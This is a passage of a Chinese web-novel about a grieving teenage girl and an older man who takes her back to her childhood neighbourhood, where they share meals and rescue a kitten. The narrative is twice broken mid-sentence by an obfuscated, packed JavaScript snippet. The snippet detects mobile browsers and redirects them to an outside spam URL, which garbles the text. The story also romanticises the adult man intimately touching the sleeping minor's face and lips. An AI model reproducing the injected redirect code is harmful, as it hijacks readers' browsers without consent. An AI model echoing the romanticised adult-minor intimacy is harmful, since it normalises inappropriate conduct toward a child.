“可是我没有家了。”姜青杳眼神失焦地盯着随便一处,陷入奇怪的状态,在那喃喃。 “我带你回家。” - 恍恍惚惚睁开眼,姜青杳因为没有戴眼镜周遭的一切都是模糊的轮廓,只能看得清近处的事物。揉了揉眼睛,期间耳朵先是听到了身旁守夜人均匀的呼吸声,再是煎蛋声一样的下雨声。 她扭头看向身旁的邵远年,他的头顶有一个旋,小的时候她常常用手揉搓着这个旋上的头发。直到后来,她常常在做题的时候,拿起笔的那只手揉搓着自己头发寻找那种感觉。又或者是在她焦虑紧张的时候,她会揉搓着自己衣角坚硬的一角,用手指肚轻轻地摩挲着带着纹理的布料。 “唔,你醒了?”也许是她扭头的动静对于睡得很浅的人来说太大,邵远年醒了。 “嗯,你在这守了一夜?”姜青杳轻声问,没有了先前对于两个人之间的间距的疏离。 “准确的是后半夜,开始是姜阿姨守夜,后来换做了我。”邵远年摇摇头,说。 “先喝口水润润吧,你晕倒后就高烧到了40摄氏度,一个小时前才退烧。”邵远年说着,坐起身来帮她垫起靠背的枕头,然后搀扶着姜青杳起来靠在了床头,看着她接过了那杯保温杯。 “谢谢。”哪怕头还是有点晕,姜青杳还是没有忘记要和邵远年道歉。 她的面色依旧红润,但不是正常的红,而是高烧带来的红热。 邵远年仔仔细细看着姜青杳,目光从她拿着保温杯的纤细白皙骨节分明的手指到她红润的嘴唇,再到她不断吞咽而上下移动的因为瘦弱而相较于其他女性更加明显的喉结,随后再是乖乖垂落在她肩头和背后的因为营养不良而有些栗色的头发——她切切实实存在着。 身子下意识俯身靠近姜青杳,邵远年想用脸贴贴她的额头。 随后,他反应了过来,轻轻缓叹一声,声音淹没在了姜青杳喝热水的咕噜咕噜声中。 “你感觉身体好些了吗?”邵远年见姜青杳放下了保温杯,问。 听到邵远年的问话,姜青杳没有拿保温杯的那只手用力攥紧捏了捏,发现能够使出来一点力气,然后点点头:“我感觉好得差不多了,就是昨天好像跑步腿又有点拉伤。”说着,姜青杳掀开被子,发现原本褪下的绷带又缠绕上去了,有些渗血的痕迹,看来昨天确实弄伤到腿和伤口了。 不确定是不是伤口感染引发的高烧,姜青杳想到昨天因为高烧说的那些比较矫情的话,脸又红了红。拿保温杯的手有些焦虑地摩挲着杯壁,她缓缓开口:“昨天,谢谢你,我烧得有点糊涂了。” 姜青杳说话总是带一点其他的含义,邵远年明白了她是在说昨天倒在地上的时候说的那些话,抿了抿唇,想要说些什么,但话到嘴边又转了个弯,换了个话题:“想出去走走吗?” 4. 04.蹄花 启明的十月末总是多雨的季节,车论坛缓慢地碾过潮湿的沥青路面。坐在副驾驶的姜青杳将车窗摇下来,头微微靠近窗户,闭着眼睛感受风轻轻摸着她的脸、她的发丝每一寸,然后深呼吸。 她喜欢雨后的潮湿味,就像是地下车库的那种霉味,很好闻。车载电台里的电台主持人小声播报着今天的天气和路况,邵远年听到了下午会放晴的消息,冷峻的神情稍显柔和了下来。 莲雾区到龙泉区需要跨两个区,姜青杳并不熟悉中间跨的两个区的街景,看着看着也就睡着了,直到再次醒来,看到了熟悉的街景,她的瞌睡全跑了,有些讶异地问:“到龙泉区啦?” 听到姜青杳话语里带的雀跃,邵远年笑笑:“嗯,到龙泉区了。” 本来是不打算出门的,但是邵远年说知道一家很好吃的饭店,里面的蹄花焖黄豆特别好吃。 她好久没有吃炖蹄花了,有点点馋。再加上她确实也很想和邵远年再接触接触,回忆童年。 饭店很快就到了。 站在饭店门口,姜青杳抬头看了看牌匾。上面土里土气的用了金色的色漆印着“大饭堂”这三个字。又看了看饭店门口穿着中山装戴着学生帽的迎宾员旁边的石狮子像。再望了望大堂正中央的假山群,还有那种翠竹立在假山群里面。不用想那个池子里肯定塞满了很多肥胖胖的锦鲤游来游去。 跟在服务员身后的时候,姜青杳有些好奇地看着墙壁上的作品。 不知道为什么,这里走廊上的展览作品有些给她一种很熟悉的感觉。 “是在看墙上的摄影作品吗?”服务员注意到姜青杳好奇的目光,笑着说,“这些都是我们老板在世界各地旅游的时候拍的照片,这家店也是我们老板思念故人买下来的,原本这家店都要倒闭了。”本想继续说下去,但是包间很快就到了,服务员笑着挥挥手:“包厢到了,祝二位用餐愉快。” 好奇的心思很快被菜单上面各式各样的菜品图推开。 “你想吃些什么?”姜青杳看来看去,感觉都可以。 “点你喜欢吃的就好。”邵远年笑笑。 点了点头,姜青杳继续看着菜单——自然不可能真的只点自己喜欢吃的。想起来小的时候邵远年喜欢吃的是基围虾和鸡蛋羹,便点了鸡汁纸笋、辣炒基围虾、肉沫鸡蛋羹、排骨藕汤和炖蹄花。 菜很快端了上来,担心姜青杳局促,邵远年隔了一个座位坐在她的左手边。 专注吃饭的姜青杳视线一直落在自己的正前面,摆放在前面有什么就吃什么,不敢手臂伸长用筷子去夹远一点的菜,邵远年就时不时转动玻璃转盘帮她替换菜品,然后托腮笑着看她吃饭。 他喜欢和岁岁一起吃饭,尤其是看着她大口大口吃饭的样子。 在以前,岁岁还很幼稚的时候,还会和他比赛吃饭。每次快速地吃完饭就会立马举起空碗将碗朝向他,就像是骄傲的举重冠军。哪怕她嘴里的米饭还没有完全吞咽下去,但是她还是那样得意地说“我!吃完了”。那个时候的她,还需要搬一个小板凳放在椅子上才有现在坐着的这么高。 在后来,小女孩到了青春期,不再和他比赛吃饭,不再叽叽喳喳地说着学校里的乐趣事情,而是安安静静地坐着吃饭。那个时候的她,瘦小瘦小的,总是把马尾梳的一丝不苟,连一点碎发都不留。走起来路来,高高的马尾一甩一甩,像是飞旋的竹蜻蜓,就这样离他越来越远。 再后来,岁岁就上大学了,她们就很少有时间在一起吃饭了。但还好,她喜欢每次吃饭之前都拍张照片发在微信里报备她今天吃了什么。包括但不止于今天最后一串鱼丸被她抢到了、今天的西瓜啵啵很好喝、今天排队人好多。那个时候的她,已经亭亭玉立,瘦高瘦高的。 他抿了抿唇,将虎牙收起来,没有托腮的另一只手将玻璃转盘转了转,让她最想吃的炖蹄花出现在姜青杳的视野里,然后再拿起筷子夹起菜吃了起来。 蹄花焖黄豆是姜青杳最喜欢的菜,但是蹄花会有骨头,她用筷子夹大块的蹄花会不方便吃。再加上和邵远年很多年没见面了,她也没有那么放得开,就只是沉默地吃一些其他的菜。 察觉到姜青杳馋又不敢吃的心绪,邵远年想了想,拿起卫生纸擦了擦嘴角。 “我突然想起来有件事情没有办,”他拿起手机看了看,然后贴在耳朵边,“好,我等会过来。”电话挂断,姜青杳看着邵远年有些抱歉地蹙眉看着自己,声音清朗地说:“我需要出去一会儿。” 出去好哇,这样她就可以用一次性手套拿起来蹄花来啃了。 姜青杳眨了眨眼睛,故作有些为难地说:“噢这样,那我在这等你吧?” “嗯,好。”说完,邵远年拿起放在椅背上的西装外套,大步离开包厢。 包厢的门关上,姜青杳松了口气,背也没有直直紧绷着了,像是慵懒的树獭弯着身躯,转动玻璃转盘拿起来一次性手套开始剥基围虾的虾壳、剃蹄花的骨头,腮帮子一鼓一鼓的,吃得很满足。 - “不好意思,我回来的比预计中晚了一点。” 包厢的门刚被推开,廊外的一股冷气就吹拂进来,惊得落地窗旁静静站着的米黄色窗帘一阵翻涌,那股好闻的茶香加柑橘甜的香味夹杂在冷冽的空气中短暂地亲吻了一下姜青杳的脸。 戴着塑料手套剥虾壳的手被突然出现的男声吓得一抖,姜青杳瞪大眼睛愣愣地回头看向站在门外的邵远年,两个人视线交错——邵远年将原本拿在手上的西装外套穿上了。 看起来……就像是匆忙赴宴一场约会的爱人。 腮帮子里的食物还没有嚼完,像是听到声响立起耳朵的兔子,邵远年没忍住笑了笑,然后走过来放下出去在小巷子里买的麦芽糖,雾蒙蒙的塑料袋子在一众菜品中显得格外突出。 “我看路边有卖麦芽糖的,买了一点。”邵远年颔首,示意姜青杳看看。 迅速把食物嚼完吞咽下去的姜青杳将剥好的一盘子基围虾推到邵远年面前:“给你剥的。” 她记得小时候的邵远年特别喜欢吃基围虾,但是很讨厌虾壳,就像黏黏一样,要人送到碗里。 没想到她还会记得自己不喜欢剥虾壳,邵远年勾了勾唇:“谢谢。” 待邵远年坐下后,屋外冷冽的空气就落在了姜青杳身旁。 看了看桌前的碗,他发现碗里多了几块剃了骨头的蹄花,盘子上是一排摆好的剥了壳的基围虾,然后骨头和壳都堆满在姜青杳的垃圾盘里。见姜青杳吃得自在,邵远年也放下心了不少。 余光注意到邵远年正在用筷子吃她给弄好的基围虾,姜青杳感觉很满足。她其实特别喜欢给别人剥虾壳,在龙虾旺盛的季节她的碗边常常堆满了虾壳,姜蝶、叶知舟和邵远年的碗里都是虾肉。 哼哼,感觉和小时候也没有太大的差别,还是一个馋猫。 撇了撇嘴,姜青杳低头将碗里最后一坨米饭用筷子扒拉扒拉进嘴里后,就拿起放在一旁的卫生纸餐盒抽出来纸擦了擦嘴角的油渍。刚擦完嘴,就发现眼前多了一只手和一个碗。 有些茫然地将视线挪到邵远年那边,发现他淡淡笑着看着她。 他骨节分明的手还未来得及完全离开她的视线,接着,她就听到邵远年说:“喝点汤,暖暖胃。”幽幽的,让她想起方才没多久,邵远年推开门时被风卷动的米黄色窗帘。 很想说自己已经吃饱了的姜青杳看向邵远年。 他就那样看着她,看得她脸红。 不好意思地抿了抿唇,姜青杳默默将自己前面的碗挪到一旁,把盛着汤的那碗挪到自己的面前,开始用勺子小口小口地喝着。不得不说,很好喝,上面的油已经撇掉了,一点也不油腻。 待姜青杳喝完最后一勺汤,一张卫生纸就这样被邵远年递过来:“谢谢。” 接过卫生纸擦了擦嘴角,就听到邵远年轻声问:“怎么样?这顿饭吃得还合胃口吗?” 那可太合了。 她感觉她裤子的纽扣应该往左边移一移位置了。 于是姜青杳用力点了点头,像是捣蒜似的。 “嗯!很好吃!” “喜欢吃的话,下次再带你来。” - 饭后,邵远年提议一起去附近散散步消食,她们就在街道上一起漫步。 龙泉区是启明市的老城区,人行道有些砖缝早就长满了细细碎碎的野草,在连绵的雨季后地下藏满了雨水。走着走着,邵远年发现天气预报不太准,也算有点准——下太阳雨了。 阳光和磅礴的雨水洒在她们的头顶,姜青杳和邵远年一边捂着头一边小跑到旁 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这个时候还在担心别人。邵远年有些无奈,手上的动作却是没有停下来,白皙的双手翻动在她下颌处,将西装外套的袖子温柔地系住,像是抚摸小羊羔一样隔着布料拍了拍她的头:“不冷。” “但是你要找小猫的话,最好把头挡着,小心又发烧。” “走吧,一起找小猫。” > 还好邵远年说完就大步离开沿路找小猫了。 姜青杳活这么大,也是第一次披着除了家人以外的异性的衣服。带着成熟男人的温暖气息还有她有点喜欢的淡淡的香水味将她包裹,她的脸很快就染上一层粉纱,心跳咚咚咚地敲鼓。 然后,她像是一个机械木偶一样不太灵活地走出屋檐下面,跟着去找小猫。 雨哗哗地下,湿答答的碎发黏在她白皙的脸庞,系在上半身的西装外套因为雨势过大,无法继续吸入的水分正随着衣服的走向滑过她身体的每一寸,长而密的黑黑的眼睫毛还挂着一滴愈落未落的雨珠。邵远年的情况也不是很好,他直接将头发一把梳成了背头,两个人在短暂的猛烈的雨下。 待找到小猫,太阳雨就停歇了。 小猫掉在了下水道里面,正咪咪喵喵地仰着头看着她们叫。 “怎么办?”姜青杳皱眉,没有工具,她就没有办法撬开下水道的排水盖。 “我去五金店问问有没有工具。”邵远年说着,迈着沉稳的步伐去附近的店询问。 还好这排街道什么店都有,五金店就在不远处,很快就找来了工具。 将排水的盖子撬开,邵远年挽起袖子,露出好看的手臂还有小臂上的青筋,趴在地上去掏小猫。姜青杳有些讶异,她记得邵远年有洁癖,最不喜欢身上有脏脏的雨水和泥泞。 “喵嗷!喵嗷!”小猫跟像是扑腾扑腾的牛蛙在空中乱舞。 “好啦好啦,是在救你。”姜青杳没忍住,笑着伸手摸摸它的小脑袋安抚它。 待邵远年将盖子安回去然后把工具还回去后,两个脏兮兮的人和可怜巴巴的猫“会晤”。 不知道怎么的,见邵远年和自己一样的落汤鸡模样,感觉和他的距离又稍微拉近了一点。 正打算问接下来怎么办,姜青杳就发现邵远年提着一袋塑料袋。 注意到姜青杳的视线,邵远年说:“嗯,买了点羊奶,奶瓶还有毛巾之类的。” 以为邵远年打算带小猫回老宅,姜青杳问:“啊,你不是有……那只猫猫了吗?”想说“大肥猫”的话到嘴边一拐弯换成了更加体面的形容。她记得新猫和原住民需要隔离,不然会打架。 “你想养它吗?”邵远年没有回答她的问题,反而把问句反过来抛向她。 “我……”姜青杳讷讷,不知道说些什么,“我接受不了分离。” 她说的确实是实话,在叶知舟去世后,她一想到身边的美好会离自己远去,她宁可不要美好。 “那我们可以再想想,小猫现在还小,我可以在家里养一段时间再找领养人。”邵远年没有逼着姜青杳选择,他也觉得这种事情需要多想想,没必要强行在不合适的阶段做下一个仓促的决定。 “走吧,我们回家。” 5. 05.羊奶 走着走着,姜青杳就发现眼前的街道越来越熟悉。“到我家了?”姜青杳有些纳闷地抬眸看向邵远年,发现他正在笑。随后姜青杳反应过来,他是特意带她回家看看的,鼻尖不免一酸。 看着少女渐渐红起来的眼尾,邵远年抬手揉了揉她的头发:“如果想回来看看的话,随时都可以,”说着,他将口袋里的钥匙交给她,“只要你想回家看看,我都会陪你。” 姜青杳是在小学三年级的时候才搬家到这个小区的,现在她已经高中了,小区很老旧了。 小的时候姜青杳常常觉得楼梯很大很空,七楼很高很高。少有的几次觉得这栋楼并没有那么大的时候,是在外面玩累了不想爬楼,然后趴在叶知舟的背上,被叶知舟背上楼的。 那个时候,她趴在父亲的背上看这个世界,觉得自己似乎没有那么渺小了。 现在,姜青杳和邵远年走在楼道里,她突然觉得楼梯很小很窄,她一脚就站住了全部。 “说起来,小……”想象小时候一样喊他“小年哥哥”,但是话到嘴边姜青杳觉得有些腻歪。 “邵远年,你,怎么突然想起来带我回到这里?”姜青杳有些好奇地问。 她站稳在三楼连接四楼的楼梯拐角处,低眸看着在自己身后几个台阶的邵远年。 邵远年的眼睛像是闪耀的绿色宝石,在阳光下闪耀着他眼睛的光芒,然后她看到他笑弯了眼睛,带着弯弯月牙的笑意,像是炙热的向日葵,带着浓烈的热情:“因为想让你开心一点。” 听到邵远年的话,姜青杳的心感觉突突地跳。 她慌忙垂眸去看怀里的小猫,发现怀里的小猫也是绿色的眼眸,亮闪闪地看着她。 想也不用想,她现在的脸肯定烧得像是火烧云了。 “咳咳!”姜青杳忙咳嗽几声转移话题,她有些招架不来邵远年的直球。 窗外突然响起飞机的轰鸣声,姜青杳扭头看向越过天际线的飞机,发现飞机的尾气旁边有着隐隐约约的彩虹,有些兴奋地指了指彩虹:“你看,彩虹诶!我好几年没见过彩虹了!” 刚说着,姜青杳回头看向邵远年,发现他正举着手机拍下了她的这个瞬间。 “咔嚓”一声熟悉的相机声音,姜青杳下意识抬手遮挡住自己的脸——她不喜欢被拍照,家里的录影带和洗出来的相片里大多是她捂着脸或者是挎着脸生气又或者是她转身逃跑的画面。 常常,录影带转动着视角,姜蝶或者叶知舟在相机后面说:“乖乖,看镜头——诶诶诶!别跑嘛!”这类的话太过常见,过节的时候大家聚在一起看录影带总能不约而同说出她们要说的话。 之前她总是不懂,为什么妈妈和爸爸总是喜欢偷拍她的生活。 她不喜欢被抓拍,因为她常常觉得自己不够漂亮,不好看的照片会是黑历史。 但是突然她明白了,在尽可能的时候用相机抓住这一瞬间,那么这一瞬间就能成为永恒。 在叶知舟去世后,她才觉得人活着最重要的事情其实是记录。 日常的碎片太多太多了,她的大脑储存的空间也有限。 只有记录,可以在很久以后让喜欢的时刻、爱的人再次鲜活起来。 “拍得好看吗?给我看看?” 这样说着,姜青杳放下了遮挡自己脸的手,走下了台阶,凑着身子去看邵远年手机里的相册。 但是她没想到邵远年其实不是在拍照,而是录像。从她发现飞机的那一刻开始的录像。 录像还在继续,她们的对话被录下来,手机屏幕框住了她们鞋子的合照。 “很好看。” “嗯,好看。” - 吹风机嗡嗡作响着,纤细柔软的手指在热风的吹动下随意松散梳动长过肩膀的细发。 从镜子里看到邵远年擦着头发从卫生间出来,姜青杳的头发也差不多吹好了。 那场太阳雨来得迅猛,一到家邵远年就让姜青杳去洗澡吹头发,担心她再发烧。姜青杳去洗澡之前找出来叶知舟的衣服给邵远年套上了,没想到衣服还有点小,裤子挂在脚踝以上的位置发愣。 “有点小吗?”姜青杳望着邵远年问,她记得他刚来她们家的时候穿叶知舟的衣服可大了。 “嗯,还好。”邵远年点点头,又扯了扯袖子,觉得有点短便挽起来了。 空气又变得有些沉默,姜青杳打了个哈欠,她有饭后犯困的毛病。 “要不你去睡会儿?小猫,我来照顾就好,等下也要给它洗个热水澡。”邵远年问。 “昂,也好。”姜青杳点点头,准备就这样趿着拖鞋去房间睡觉。 “等等,床铺还没有铺。”想起来他只是做了大扫除但是没有铺床,担心姜青杳睡在床垫上不舒服,邵远年拦住了她。姜青杳只以为他是洁癖犯了,于是点点头,说着她去铺新的。 “还是我来吧,你在沙发上休息一会儿。”邵远年说。 “噢噢,那也可以。”姜青杳又打了个哈欠,转身去了沙发。 本来说着等邵远年换完一套新的床单被套再去睡觉,但是等着等着,就在沙发上睡着了。 少女的睡颜恬静美好,邵远年半蹲在地板上,右手托腮撑在沙发边沿,左手忍不住轻轻用食指勾勒姜青杳的脸庞。纤细修长的食指缓慢抚平微微皱着的眉头,顺着眉毛的毛流走向轻轻滑到她的眉峰。看着现在还稍显稚气的脸庞,邵远年没忍住轻轻笑出了声——他最喜欢的就是她的眉眼。 左眼眼角有两颗棕色的泪痣,眼睛深邃像是化了下眼影一样,圆圆的杏眼看起来很乖。但是她的眉毛又是剑眉,和他一样,眉尾比眉头高,没有表情的时候会让人以为她在生气。 记得有一次她气得直接拿刮眉刀把眉峰那突出的地方刮掉了。因为技术不好,偷偷拿定型喷雾将刘海固定挡住眉毛。后来发现定型喷雾压根扛不住当天的风,更生气了。 姜青杳的脸很白,比身体的其他的皮肤都白,显得她脸上一些痣格外明显。最突出的就是她左脸的一颗黑痣和鼻头的一颗棕色的小痣。邵远年用食指点了点她鼻头的小痣,他左手食指上的小痣和她鼻头的小痣重叠。他很喜欢这个细节,让他觉得她们的羁绊是命中注定的。 邵远年的食指又轻轻滑过她的人中,从她的唇珠下落到她的下唇。 姜青杳的嘴巴总是红红的,像红艳艳的蛇果。他垂眸,用大拇指擦了擦她的唇,没有任何化妆品的掉色痕迹。但是就是这样明艳的人,最后的时候嘴巴是紫绀色的。邵远年缓缓叹了口气。 好在现在的姜青杳只是太累了睡着了,而非永眠。 邵远年起身,小心翼翼地将头微微歪向肩膀,双手交叠护住肚子的姜青杳抱起来。 带着她到她的房间将她轻轻地放在刚铺好床单被套的床上,然后拿起薄被盖在了她的身上。 睡梦中的姜青杳似乎又做了噩梦,半握拳状的手正在颤抖。 于是邵远年微微俯身,在她的手心落下虔诚的一个吻。 - 姜青杳刚将卧室的门推开,就看到额头上贴着退烧贴的邵远年微微低着头,手帮小猫扶着小小的奶瓶,温柔地注视着小猫大口吮吸着奶嘴。好有神性,好像神话故事里的仙子。 “醒了?”邵远年微微笑着,眼睛眯起来像是弯弯的月牙。 “你发烧了?”姜青杳点点头,指了指他额头上贴的退烧贴。 “嗯,还好,不是很高,不用吃药。” “噢,那就好。” “要不要来喂喂它?”邵远年见姜青杳站着有些无措,问。 “我吗?”姜青杳有些怀疑地指了指自己,有点担心。 邵远年从座位上站起来,轻轻把奶瓶从小猫嘴里挪开,走到姜青杳的身旁,将奶瓶递到她的手上,温热的液体隔着瓶体将暖流隔着她的肌肤传递到她的心底,姜青杳将奶瓶小心翼翼接过。 刚将奶瓶靠近小猫嘴边,小猫就“喵”地叫,主动闭着眼睛追着奶瓶的所在地,用嘴靠近奶嘴然后开始大口吮吸着。姜青杳看着奶瓶里的液体伴随着小猫吮吸的动作晃荡着,感觉心里被融化了。 羊奶很快就喝完了,小猫原本瘦小的肚子像是吹了气似的鼓起来,姜青杳想到了之前在班上,听到当时的朋友说“小奶猫就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661693|188470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是瘦瘦的四肢加上圆鼓鼓的肚子”,她现在算是知道为什么了。 看着怀里的小猫,白色的身子黑色的尾巴,姜青杳想起来刚捡到黏黏的时候。 一股异样的感觉涌上心头,姜青杳突然觉得很想养这只小猫。 太阳炉暖黄色的灯光明晃晃打在姜青杳身上,邵远年就坐在一旁托腮看着她。 然后邵远年听到姜青杳说:“我,我可以养它吗?” 笑了笑,声音醇醇地在耳畔响起,邵远年说:“嗯,取个名字吧?” 脑海里晃过那只大肥猫的身影,姜青杳说:“就叫润润吧,希望它圆圆润润。” - 又到了吃饭的时刻。 抽油烟机嗡嗡地运转,窗帘波动如海浪,夕阳细碎地撒在木地板上。 坐在沙发上看电视的姜青杳仔细嗅了嗅空气里的香味,可以闻出来是酸辣藕带的味道,趿着拖鞋走到厨房的邵远年身旁,姜青杳好奇地看着还有什么菜,就发现放在透明塑料袋里的绿白纸碗。 “是什么?”她抬抬头,用鼻尖指了指那个纸碗。 “空心粉,”邵远年扭动了灶台上的按钮,将火关掉了,“是你特别喜欢吃的那家早餐店的。” “什,什么?”姜青杳有些雀跃,“我还以为那家早餐店已经倒闭了。” “不对,早餐店诶,你怎么买到空心粉的?”她眼睛亮亮的,带着笑意看着他问。 见姜青杳笑意满满的眼神,邵远年冷峻的脸也变得柔和,唇角不自觉上扬:“在你睡觉的时候去药店买退烧贴发现那家店没关门,就问老板要了点空心粉和她熬的骨头汤,准备带回来煮一下。” 姜青杳讷讷地看着眼含笑意的邵远年,两个人的视线相对。 很奇怪。之前心里那说不上来的、像是被打了卷儿的绿叶扫过心尖痒痒的、又像是荡秋千荡到最高点滑落下去的失重的感觉被纾解了。她没有想到九年过去,邵远年还记得她们的八个月。 就像是夏日炎炎的一杯冰镇雪碧掉入了一块冰块,气泡噜咕噜咕地冒,又像是冬日寒寒里塞入口中的一枚薄荷糖,带着凉凉的气息。怔了会儿,姜青杳才抿了抿唇微微一笑:“那我有口福了。” 晚饭很快就弄好了,两个人就着酸辣藕带、清炒时蔬吃着空心粉。 空心粉的汤汁还是很烫,姜青杳用筷子把两三个空心粉串在一起,然后倒着滤掉那些烫烫的红汤,再一口塞进去,眼睛都亮了不少。吞咽下去后,她说:“好好吃,我好久没吃空心粉了。” 看姜青杳吃饭,邵远年觉得很幸福,将酸辣藕带的那盘推到她面前:“尝尝藕带。” 脆脆的,带着一丝酸辣的野山椒味的藕带在嘴里泛开酸甜的口感,姜青杳点点头,用筷子再夹了几个放在碗里,然后端起碗一起扒到嘴里,感受更加浓郁的口感在嘴里绽开:“好好吃。” 将碗放下的姜青杳的视线,对上托腮看着她笑意满满的邵远年的眼睛,脸晕开一层粉色的薄纱,讷讷地抬起手擦了擦脸上和嘴角边:“我是不是吃到脸上哪里了?你这样看着我。” “没有,”邵远年摇摇头,撑着下巴的手也跟着晃,“看你吃饭很幸福。” “是吗?那说明我吃饭有福气。”姜青杳臭屁地说,仿佛又回到了小时候的饭桌上。 “你别光看我吃呀,你也吃。”姜青杳将那盘菜推到离邵远年更近的地方。 “好。”邵远年拿起筷子也夹起菜来吃起来。 吃过晚饭,姜青杳和邵远年挽起袖子肩并肩站在厨房的洗碗池面前洗碗。 夕阳透过洗碗池前面的窗户照到她们的身上,将她们的身影拉得很长、很长。 “我们,等下出去逛逛吧?” 声音很轻,姜青杳洗手的时候习惯将水龙头打开得很大,水流声哗哗没有听清楚邵远年的声音,扭头的时候她的马尾扫过邵远年的手臂,带来轻轻的淡香:“什么?我刚刚没听清。” “嗯,我说我们等下出去逛逛吧?我听说,旁边有一个公园。” “噢噢,可以,刚好饭后消消食。”点了点头,姜青杳用抽纸擦干了手。 6. 06.鸡排 “叮叮——” 姜青杳站在单元楼的门前无聊地踢着脚下的石子,正想着要不要拿出mp3听听歌,就听到了熟悉的声音,是老旧的自行车带着铁锈的铃铛的叮叮声。以为自己挡了路,姜青杳正准备扭头看看自行车在哪里好让路,就看到邵远年骑着叶知舟的那辆大自行车,笑着朝她招招手。 她该说些什么呢。 她愣愣地看着逆着橙色夕阳的光的笑颜。 眨了眨眼睛,姜青杳将堵塞在喉咙的,被悲伤泡肿胀的,那坨棉花吞咽下去。 “上车。” 邵远年将自行车停在她的身旁,车微微向她的方向倾斜。 看着邵远年白色的衬衫,姜青杳突然明白他为什么会突然穿西装。 因为叶知舟常常会穿西装,下班的时候会因为热将外套脱下来放在车篮里。 然后坐在车座后面的她,就会看到叶知舟宽厚的后背,白色的衬衫。 深深吸了口气,姜青杳跨坐在自行车的后座,小心翼翼扯住邵远年的衬衫。 “我坐好啦。” 自行车的踏板开始转动,流动的风呜呜的,姜青杳抬头看着橘色的天,发现和梦里的场景好像。驶出小区的自行车带着两个人进入了小巷,小巷里叮叮当当响,叫卖的喇叭也大声响。 她没由来地,想要紧紧抓住邵远年的衬衫,想要像以前那样贴着宽厚的背酣睡。 一个减速带出现,邵远年想要开口说“抓稳了”,就感受到柔软的肌肤贴住自己的脊背。 触电般的感觉从脊背蔓延到他的全身,邵远年抿了抿唇,过了减速带伸手将姜青杳拽着他的衬衫的手揽住他的腰:“抱紧了,要加速了。”不等姜青杳反应,慢悠悠的自行车就带动了猛烈的风。 姜青杳吓得双手揽住了邵远年的腰,侧头看到自己的阔腿裤飞鼓起来,没忍住笑了笑。 感受到贴紧脊背的嘴角上扬,邵远年也跟着笑了笑。 “馒头——馒头——热乎乎的馒头咧!” 一声声豪爽洪亮的叫卖声伴着和煦的雨后秋风,吹拂过姜青杳的耳畔,带动她耳垂旁的碎发像是波浪一样舞蹈。摇摇呀晃晃,她感觉自己好像一条随波逐流的小船在平静的湖泊上飘荡。 她抬起手揉了揉眼睛,桔红色的晚霞就那样跌入她的眼睛,照亮了她的世界。 姜青杳有些痴痴地看着平日里自己走过无数次的街道上的街景,感觉自己就像是一条即将渴死的鱼被人重新丢进了湖泊,像还没有记忆的时候蜷缩在母亲的子宫内那般温暖惬意。 而这一切,是邵远年再次为她带来的。 她的脸贴靠着邵远年宽厚的脊背,侧着头。小的时候,她看着窗外的天,就觉得天其实就是她看到的那么大。她的生活其实就只是围绕着家画的一个半径为三公里的圆,这就是她的全部。 她真的以为她再也无法回到过去的圆了。 直到邵远年作了一条切线。 老旧的自行车的铃铛带着一些铁锈,提醒周围的人及时闪避的时候,铃铛像是沙哑的老人咳嗽声叮叮当当,更像是敲响启航到她过去的童年的船坞的船鸣。想到这,姜青杳忍不住笑出了声。 “邵远年,你好像船长。” “带我回家的船长。” 侧贴着的脊背开始震动,她听到邵远年开怀的笑声:“只要你想回家,船只马上启航。” 他将姜青杳的幼儿园、小学、初中在白色的纸张上圈画出来,再将她喜欢吃的早餐店、总是逛的文具店、家边第一家肯德基店勾连起来,最后再将她跟着班级去表演管乐器的体育馆连接起来。 这条航线,邵远年在没有姜青杳后的人生里孤独地航行了一遍又一遍。 自行车很快就行驶到了幼儿园的大门,龙泉区人民广场的旁边。道路上多的是骑着自行车来接放学的孩子的家长,还有些系着红领巾的孩子吵闹着要吃街边的小摊,姜青杳想起了过去。 她明明没有开口,自行车却停了下来,停在了她小时候经常去的那家鸡排店。 “要番茄酱还是孜然粉?”邵远年一脚支撑着自行车,扭过头来问姜青杳。 “已经吃过晚饭了。”姜青杳怕麻烦邵远年,摇了摇头。 “我有点想吃,” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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她们之间隔了九年,邵远年知道这件事情不能着急,需要慢慢来。 感受到温热的大掌,姜青杳眨了眨眼睛,扇动的睫毛像是蜜蜂振翅,她的心也在振翅。 7. 07.蜜薯 姜青杳又坐上了那辆破旧的大自行车,坐在了邵远年的后座。 街道的霓虹灯散漫地撞入她镜片后的眼睛里,她眯着眼睛看发现像是散射的万花筒。好像又回到了第一次收到万花筒的那个午后,她和邵远年头挨着头一左一右地一起看万花筒的世界。 回忆很快被打断,邵远年不知道为什么突然加速冲过了一个减速带,还没来得及反应的姜青杳一下子撞到他宽厚的脊背上,眼镜都差点歪了。扶了扶眼镜框,姜青杳忙问怎么回事。 “抱歉,抢绿灯,刚刚马上变黄灯了。”邵远年有些抱歉地说。 姜青杳突然想起来叶知舟也常常会这样,赶时间赶绿灯赶公交赶一切,然后发愣的她就会被突然加速的自行车碾过的减速带吓得“啊”一声,接着就会听到叶知舟抱歉的话语。但那都过去了。 她扭头看向对面斑马线的信号灯,已经变成了站立的小红人呆呆地站在那里。忽然,信号灯旁边的蓝白色指路牌吸引了她的注意,有些铁锈在上面了,连近视散光的她都能看出来。 “文化路。”好像察觉了她扭头看的视线,邵远年的声音清澈坠入她的耳朵。 “是吗?变了好多,差点没认出来。”姜青杳声音闷闷的,在风里飘散了,轻飘飘的。 望着曾经生活过几年的街道,如今变了许多的模样,姜青杳突然有些近乡情怯。 她知道回家的这条航线迟早会走向终点,一个人总是沉浸在过去,总是念叨着“如果”“如果”,那么她的人生就永远都只会在原地打转,这样她既回不到过去又留不住现在身边的人。 但是她就是这样一个拧巴、念旧的人。 